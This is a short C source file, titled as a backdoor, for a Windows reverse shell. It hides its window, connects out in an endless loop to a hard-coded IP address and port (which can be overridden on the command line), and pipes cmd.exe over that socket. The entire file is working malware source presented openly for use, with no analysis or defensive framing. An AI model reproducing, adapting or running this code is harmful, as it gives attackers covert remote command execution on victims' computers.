[C] - Backdoor

backdoor.c:

#include <winsock2.h>

#include <stdio.h>

#pragma comment(lib, "Ws2_32.lib")

#define DEFAULT_PORT 752

#define DEFAULT_IP "192.168.15.6"

WSADATA wsaData;

SOCKET Winsocket;

STARTUPINFO theProcess;

PROCESS_INFORMATION info_proc;

struct sockaddr_in Winsocket_Structure;

void CriaSocket(char *IP, short port);

void Erro(void);

void Conexao(void);

void AbreShell(void);

int main(int argc, char *argv[])

{

 char *IP =  DEFAULT_IP;

 short port = DEFAULT_PORT;

  if (argc == 3)

  {

    strncpy(IP,argv[1],16);

    port = atoi(argv[2]);

  }

 ShowWindow(GetForegroundWindow(),SW_HIDE);

 while(1){

 CriaSocket(IP, port);

 Erro();

 Conexao();

 AbreShell();

}

}

void CriaSocket(char *IP, short port)

{

  WSAStartup(MAKEWORD(2,2), &wsaData);

  Winsocket=WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL, (unsigned int) NULL, (unsigned int) NULL);

  Winsocket_Structure.sin_port=htons(port);

  Winsocket_Structure.sin_family=AF_INET;

  Winsocket_Structure.sin_addr.s_addr=inet_addr(IP);

}

void Erro(void)

{

if(Winsocket==INVALID_SOCKET)

  {

    WSACleanup();

  }

}

void Conexao(void)

{

// Faz a conexão com o server

  if(WSAConnect(Winsocket,(SOCKADDR*)&Winsocket_Structure,sizeof(Winsocket_Structure),NULL,NULL,NULL,NULL) == SOCKET_ERROR)

  {

    WSACleanup();

  }

}

void AbreShell(void)

{

  memset(&theProcess, 0, sizeof(theProcess));

  theProcess.cb=sizeof(theProcess);

  theProcess.dwFlags=STARTF_USESTDHANDLES;

  theProcess.hStdInput = theProcess.hStdOutput = theProcess.hStdError = (HANDLE)Winsocket;

 if(CreateProcess(NULL,"cmd.exe",NULL,NULL,TRUE,0,NULL,NULL,&theProcess,&info_proc)==0)

    {

     WSACleanup();

    }

}